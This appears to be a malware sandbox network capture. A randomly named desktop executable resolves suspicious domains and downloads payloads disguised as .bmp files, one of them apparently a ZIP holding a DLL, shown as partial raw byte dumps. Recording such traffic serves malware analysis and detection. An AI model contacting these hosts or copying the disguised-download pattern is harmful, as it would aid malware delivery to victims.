Aug 27, 2024 09:50:04.624522924 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:04.624603987 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:04.628235102 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:04.628246069 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.083888054 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.084022999 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.085443974 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.085453033 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.085664988 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.087040901 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.087064981 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.087101936 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.751316071 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.751411915 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.751466036 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.751684904 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.751707077 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:05.751718998 CEST	49718	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:05.751724958 CEST	443	49718	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:13.777921915 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:13.777954102 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:13.778033972 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:13.778484106 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:13.778496027 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:14.423841953 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:14.423922062 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:14.432509899 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:14.432526112 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:14.432755947 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:14.436005116 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:14.436005116 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:14.436108112 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:15.108997107 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:15.109082937 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:15.109133959 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:15.109477043 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:15.109498978 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:15.109513044 CEST	49719	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:15.109518051 CEST	443	49719	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.141159058 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.141220093 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.141290903 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.141705990 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.141720057 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.626648903 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.626753092 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.628240108 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.628252029 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.628530025 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:23.629959106 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.629982948 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:23.630024910 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:24.299557924 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:24.299650908 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:24.299717903 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:24.300004959 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:24.300004959 CEST	49720	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:24.300024986 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:24.300035954 CEST	443	49720	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.310252905 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.310307026 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.310388088 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.310734034 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.310745955 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.787647963 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.787827015 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.789190054 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.789201021 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.789427996 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:31.791023970 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.791047096 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:31.791090965 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:32.442661047 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:32.442759991 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:32.442807913 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:32.442970037 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:32.442995071 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:32.443010092 CEST	49721	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:32.443017960 CEST	443	49721	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.450582027 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.450661898 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.450747967 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.451095104 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.451112032 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.926717043 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.926862955 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.928589106 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.928599119 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.929212093 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:37.930505991 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.930521011 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:37.930560112 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:38.600064039 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:38.600143909 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:38.600296021 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:38.600394964 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:38.600410938 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:38.600421906 CEST	49722	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:38.600426912 CEST	443	49722	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:45.606036901 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:45.606100082 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:45.606201887 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:45.606575012 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:45.606587887 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.096986055 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.097075939 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.098412991 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.098427057 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.098645926 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.100089073 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.100121021 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.100138903 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.758476973 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.758733034 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:46.758826017 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.759023905 CEST	49723	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:46.759043932 CEST	443	49723	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:51.777319908 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:51.777374983 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:51.777467966 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:51.777779102 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:51.777792931 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:52.252991915 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:52.253082037 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:52.254412889 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:52.254422903 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:52.254652977 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:52.255774975 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:52.255805969 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:52.255837917 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:53.076371908 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:53.076471090 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:53.076643944 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:53.076735973 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:53.076755047 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:53.076770067 CEST	49724	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:53.076776028 CEST	443	49724	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.091994047 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.092046976 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.092138052 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.092525005 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.092540026 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.578304052 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.578619957 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.579991102 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.580003977 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.580235004 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:50:59.581567049 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.581593990 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:50:59.581640005 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:51:00.260910988 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:51:00.261009932 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:51:00.261080980 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:51:00.261281013 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:51:00.261300087 CEST	443	49725	104.26.7.127	192.168.2.8
Aug 27, 2024 09:51:00.261312962 CEST	49725	443	192.168.2.8	104.26.7.127
Aug 27, 2024 09:51:00.261317968 CEST	443	49725	104.26.7.127	192.168.2.8

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 27, 2024 09:49:33.916490078 CEST	60233	53	192.168.2.8	1.1.1.1
Aug 27, 2024 09:49:33.929445028 CEST	53	60233	1.1.1.1	192.168.2.8
Aug 27, 2024 09:50:01.344650984 CEST	62238	53	192.168.2.8	1.1.1.1
Aug 27, 2024 09:50:01.359682083 CEST	53	62238	1.1.1.1	192.168.2.8
Aug 27, 2024 09:50:02.997725964 CEST	56712	53	192.168.2.8	1.1.1.1
Aug 27, 2024 09:50:03.011744022 CEST	53	56712	1.1.1.1	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Aug 27, 2024 09:49:33.916490078 CEST	192.168.2.8	1.1.1.1	0xa9ba	Standard query (0)	web.ad87h92j.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:01.344650984 CEST	192.168.2.8	1.1.1.1	0x2d66	Standard query (0)	cacer.goldenh0ur.com	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:02.997725964 CEST	192.168.2.8	1.1.1.1	0xb2f8	Standard query (0)	mvc.withoutyou5.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Aug 27, 2024 09:49:33.929445028 CEST	1.1.1.1	192.168.2.8	0xa9ba	No error (0)	web.ad87h92j.com	188.114.96.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:49:33.929445028 CEST	1.1.1.1	192.168.2.8	0xa9ba	No error (0)	web.ad87h92j.com	188.114.97.3	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:01.359682083 CEST	1.1.1.1	192.168.2.8	0x2d66	No error (0)	cacer.goldenh0ur.com	104.21.17.45	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:01.359682083 CEST	1.1.1.1	192.168.2.8	0x2d66	No error (0)	cacer.goldenh0ur.com	172.67.222.6	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:03.011744022 CEST	1.1.1.1	192.168.2.8	0xb2f8	No error (0)	mvc.withoutyou5.com	104.26.7.127	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:03.011744022 CEST	1.1.1.1	192.168.2.8	0xb2f8	No error (0)	mvc.withoutyou5.com	104.26.6.127	A (IP address)	IN (0x0001)	false
Aug 27, 2024 09:50:03.011744022 CEST	1.1.1.1	192.168.2.8	0xb2f8	No error (0)	mvc.withoutyou5.com	172.67.72.137	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

cacer.goldenh0ur.com

mvc.withoutyou5.com

web.ad87h92j.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49714	188.114.96.3	80	7440	C:\Users\user\Desktop\pXm5oVO3Go.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 09:49:33.939544916 CEST	77	OUT	GET /4/long.bmp HTTP/1.1 Host: web.ad87h92j.com Cache-Control: no-cache
Aug 27, 2024 09:49:34.405163050 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:34 GMT Content-Type: image/bmp Content-Length: 139784 Connection: keep-alive Last-Modified: Fri, 09 Aug 2024 04:56:47 GMT ETag: "b09db28918eada1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 43 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=4RPkOikkXg7j7G3bcyuG2UeUV%2FjrwUinI9VJYflbCw%2B8ZwhztitUqV9IR6452hzFng5b9qdu9qOS8Hk7XHYdE4vcUj0PiIj23dE2T1Fd1vC7h94JLQ4DZRYFqOb5jZJJGduk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a7739aacb4344-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 84 6c 00 00 6c 34 55 89 89 e5 c2 05 93 67 00 00 ed ae ff 21 6e 6c 68 05 6c 6c 00 68 68 6c 00 00 3e 04 c0 1b c4 99 50 e8 69 6c 00 00 ef a8 14 c9 af ed ec 14 6d 6c 00 53 39 3a 57 6a 07 34 6a 65 0a e5 84 24 a0 6c 00 00 5f 81 58 6a 1e 35 6a 6e 37 06 6c 5a 06 5f 66 89 e8 48 ce 00 6c 6c 66 89 e8 48 d4 00 6c 6c 58 6a 5e 0a 89 84 48 b4 00 00 6c 34 6a 2e 0a e5 84 24 b6 6c 00 00 34 06 64 66 e5 e8 24 dc 6c 6c 00 58 e5 c0 24 b0 6c 6c 00 89 00 48 34 89 c0 48 b8 00 6c 6c 89 ac 48 a8 00 00 6c e5 ac 24 d8 6c 00 00 e5 c0 24 ac 6c 6c 00 89 c0 48 e0 00 6c 6c 66 89 e0 48 cc 00 6c 6c 66 89 f0 48 ce 00 6c 6c 66 89 f8 48 d2 00 6c 6c 66 89 e8 48 da 00 6c 6c 66 89 f8 48 dc 00 6c 6c 66 89 f8 48 de 00 6c 6c c6 44 48 50 53 88 38 48 3d 66 ab 28 24 3e 09 09 c6 44 48 2c 70 66 ab 28 24 50 20 03 c6 44 48 3e 61 88 28 48 53 66 ab 28 24 54 20 05 c6 44 48 3a 62 88 20 48 57 c6 28 48 58 61 e4 20 24 59 0a ab 44 24 36 15 41 66 ab 28 24 44 3a 05 88 4c 48 2a 66 c7 28 48 47 74 19 aa 44 24 25 0d 88 54 48 26 c6 44 48 27 41 88 38 48 4c 88 38 48 [TRUNCATED] Data Ascii: ll4Ug!nlhllhhl>PilmlS9:Wj4je$l_Xj5jn7lZ_fHllfHllXj^Hl4j.$l4df$llX$llH4HllHl$l$llHllfHllfHllfHllfHllfHllfHllDHPS8H=f($>DH,pf($P DH>a(HSf($T DH:b HW(HXa $YD$6Af($D:LH*f(HGtD$%TH&DH'A8HL8HMf($Nf(H\VL$2DH3tu($aT$D$<LHDHotDHtHllFHllHlsh%$l$lHl$lti$lloYHllLHLHLHHlHl$l/ch($l+D$NaDHiv($u?stD$
Aug 27, 2024 09:49:34.405210018 CEST	224	IN	Data Raw: 49 88 30 48 7c 66 ab 28 24 7d 0a 03 66 c7 e8 48 80 00 6c 6c 52 74 e4 f8 24 82 6c 6c 00 c6 e8 48 83 00 6c 6c 41 88 e8 48 84 00 6c 6c 88 84 48 e9 00 00 6c 0a c7 84 48 ea 00 00 6c 2a 75 88 f0 48 88 00 6c 6c c7 84 48 e5 00 00 6c 0f 74 69 03 e4 9c 24 Data Ascii: I0H\|f($}fHllRt$llHllAHllHlHl*uHllHlti$l$l8HlHlwll-^kll$lljt$l4HlHlD$p<Hl\$X<UUj3D$(\|HxDHtDHXPU($\|$r<tHDb
Aug 27, 2024 09:49:34.405221939 CEST	1236	IN	Data Raw: 58 66 e5 28 24 14 0a e5 44 24 7a e1 44 24 30 e5 44 24 74 e1 84 24 d8 6c 00 00 3c 39 8d 44 48 70 50 ff 18 48 28 ff bf 06 15 58 0a e5 44 24 78 0a 89 44 48 7a 8d 84 48 f8 00 00 6c e5 44 24 74 e1 84 24 d4 6c 00 00 3c 39 8d 44 48 70 50 ff 18 48 28 ff Data Ascii: Xf($D$zD$0D$t$l<9DHpPH(XD$xDHzHlD$t$l<9DHpPH(^($lt$xD$t$l<9DHpfHP$(j4DHxf(H(H<(HHllPU($<t$DHllfH(HHllPU($t$r<tHD($P\|$xD$t$l<9DHpfHP$(
Aug 27, 2024 09:49:34.405236959 CEST	1236	IN	Data Raw: f9 8b e0 48 c0 00 6c 6c 55 66 e5 28 24 18 0a e5 44 24 76 e1 44 24 74 06 00 89 20 48 20 50 3e 93 d7 83 aa 68 83 c5 68 e7 0e 85 a5 18 06 8b 38 48 1c eb c4 e7 7c 24 40 ef 7c 24 54 6c 74 1c 5f ac 40 39 28 48 10 76 7f 05 84 24 54 6d 00 00 84 6f 00 00 Data Ascii: HllUf($D$vD$t H P>hh8H\|$@\|$Tlt_@9(Hv$Tmo<$l+ x\|H@cLlHDllcllloDH\|l$oPHll $`o>l[H0{ye:<j\n_T$TTtg,BVlu8$8:DHtf(H(
Aug 27, 2024 09:49:34.405261040 CEST	1236	IN	Data Raw: 50 56 50 f1 fb 56 77 89 78 56 7a f1 fb 56 77 89 68 56 6d f1 fb 56 7e f1 fa 56 e0 f1 fb 56 11 87 54 56 7a f1 fb 56 11 87 60 56 7f f1 fb 56 11 87 66 56 7f f1 fb 56 3e 05 63 68 7e f1 fb 56 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 6c 6c 00 00 3c 29 00 00 Data Ascii: PVPVwxVzVwhVmV~VVTVzV`VVfVV>ch~Vllllllll<) mflllll!gmllllhl\|llll\|lnilllilllllhllnl@lll\|lll\|ll\|l\wxLllllllllllllll,\|
Aug 27, 2024 09:49:34.405273914 CEST	1236	IN	Data Raw: a5 01 7c d2 00 00 6c ec 56 ff bb e9 c0 74 7e 04 cc a5 6d 7c e8 4d ca 6c 00 59 5f ac e9 c4 68 6c 00 6a 66 04 d4 a5 6d 7c 6a 01 3f 3f ff b5 b0 9f ff ff 93 79 18 80 6d 7c 85 c0 18 7f ff b5 b0 9f ff ff 93 79 20 80 6d 7c 68 d8 c9 6d 10 eb a9 3f 8d 85 Data Ascii: \|lVt~m\|MlY_hljfm\|j??ym\|y m\|hm?<?hlnS??hmVkhmll/?<=;Q\Shh)x\Co`tMen$xdler0p\00 21X\H]A00(
Aug 27, 2024 09:49:34.405286074 CEST	1236	IN	Data Raw: 50 8d e9 94 f9 ff 93 3c ff 15 d0 ec 01 10 5f ac 40 8b 21 90 5f 5e 5f a1 5b e8 bd fa 00 00 a5 af 6a 04 d4 15 72 01 7c 84 b9 2b 6d 6c 6a 0c 84 ef a6 00 6c e7 f0 59 e5 19 f0 83 09 90 00 85 9a 18 17 ff 19 64 83 66 68 6c c7 46 64 6d 00 00 6c 84 0a 94 Data Ascii: P<_@!_^_[jr\|+mljlYdfhlFdmllln3![fhlk@mhljr\|a+mljGlY)dfhlFdmlmju}UE`hlkp_M7tGmhlV[t[F<m&"j
Aug 27, 2024 09:49:34.405297995 CEST	552	IN	Data Raw: 0c 8d 29 a8 50 8b a3 84 6e fd 93 93 59 8b 11 a0 8d 45 a8 3c 68 74 cb 6d 10 53 93 ba 85 c0 18 60 8d 45 a8 3c 8b cf 84 23 fd ff 93 35 33 c0 e1 11 f1 ab c7 0a ab aa 5f ac 8d 7d c0 c7 ab 8d 29 9c 50 66 ab 29 f0 01 6d aa 45 f7 7c e5 5d f8 ab 29 b0 20 Data Ascii: )PnYE<htmS`E<#53_})Pf)mE\|]) ll)hP)Puum=8u)ll@mh-5;cllPSllm)clnl)Phmyp\|ubuyTm\|Hnl)PW?)S)E?j
Aug 27, 2024 09:49:34.405312061 CEST	1236	IN	Data Raw: 8b cf 84 27 fb ff 93 35 8b 7d a0 e1 45 f4 3c 04 08 a7 6d 7c 53 ff ba e9 c0 74 60 e1 45 f4 3c e7 cf e8 40 97 ff ff 35 e7 7d cc e1 29 f4 50 04 48 a7 01 7c 3f ff d6 e9 ac 74 0c e1 29 f4 50 e7 a3 e8 0d 97 93 ff 59 e7 11 cc 8d 29 98 50 68 2c cb 01 10 Data Ascii: '5}E<m\|St`E<@5})PH\|?t)PY)Ph,?)PYE<h`mS`E<5}E<tm\|St`E<5_3}E<f))1) llEmdP)Pjuuym\|u=Tm
Aug 27, 2024 09:49:34.405318022 CEST	1236	IN	Data Raw: cf e8 14 9a ff ff 35 e7 7d cc e1 29 f4 50 04 ac a6 01 7c 3f ff d6 e9 ac 74 0c e1 29 f4 50 e7 a3 e8 59 9a 93 ff 59 e7 11 cc 8d 29 98 50 68 b8 ca 01 10 3f 93 d6 85 ac 18 0c 8d 29 98 50 8b a3 84 3a f6 93 93 59 8b 11 a0 8d 45 98 3c 68 e8 ca 6d 10 53 Data Ascii: 5})P\|?t)PYY)Ph?)P:YE<hmS`E<w5}E<m\|St`E<5})PH\|?t)PY)Ph,?)PYE<h`mS`E<5}E<tm\|St`
Aug 27, 2024 09:49:34.410361052 CEST	1236	IN	Data Raw: 18 8d e9 d0 fc ff 93 3c ff d6 e1 e9 bc fc 93 93 50 8d d1 d4 fc ff 93 84 b8 ef 93 93 c7 45 90 6b 00 00 6c e7 00 3b af 18 04 8b 64 87 02 33 a5 e7 85 8c 90 93 ff 8b 7c 3d 50 ff 3e 40 83 4d 90 93 8d bd d4 90 ff ff 84 85 ef ff 93 06 08 5f e7 ab 68 fc Data Ascii: <PEkl;d3\|=P>@M_hm)WiEw (Een)d )Uqf)ta1f<D;fhlkPT<h<y\|Ef)<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49715	188.114.96.3	80	7440	C:\Users\user\Desktop\pXm5oVO3Go.exe

Timestamp	Bytes transferred	Direction	Data
Aug 27, 2024 09:49:34.861166000 CEST	120	OUT	HEAD /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:35.350728035 CEST	692	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:35 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 431 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SRIMRIqkE5Xn9WQieatfccB2KohdmDOBT6Y2phH%2F8K1%2FhPv3rxZTqZUozVeIE0AR7RibYQdqQThoTqU6NpCOqou9IFS4LYV5i9W4AGpPeYtAf%2FkC0xJ%2BZrOmM0lIHUYzYHrZ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a773f5a6442e8-EWR alt-svc: h3=":443"; ma=86400
Aug 27, 2024 09:49:35.353763103 CEST	119	OUT	GET /4/text.bmp HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Host: web.ad87h92j.com
Aug 27, 2024 09:49:35.455451965 CEST	1236	IN	HTTP/1.1 200 OK Date: Tue, 27 Aug 2024 07:49:35 GMT Content-Type: image/bmp Content-Length: 6443425 Connection: keep-alive Last-Modified: Thu, 08 Aug 2024 15:32:21 GMT ETag: "607df428a8e9da1:0" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 431 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ag4unlxgbi4UOJjInOq9jj0IknIEUW%2BWZAEJfwZ4z8eF5GkjiYppNG8O8BcnUQCzgkFdFjlKIMYBHDMnWWOunyST57yvGfdOTtozTl92UzkA7TLPNFZvD2bnMsKALH4nprDk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8b9a77404ae242e8-EWR alt-svc: h3=":443"; ma=86400 Data Raw: 50 4b 03 04 14 00 00 00 00 00 52 09 02 59 00 00 00 00 00 00 00 00 00 00 00 00 05 00 11 00 74 65 78 74 2f 55 54 0d 00 07 f1 31 ac 66 f1 31 ac 66 f1 31 ac 66 50 4b 03 04 14 00 09 00 08 00 ae 88 37 58 00 00 00 00 00 00 00 00 78 a9 06 00 11 00 11 00 74 65 78 74 2f 4d 53 56 43 50 31 34 30 2e 64 6c 6c 55 54 0d 00 07 d3 f1 af 65 6a c1 ab 66 32 4d 82 66 87 7a eb 30 49 5c 70 71 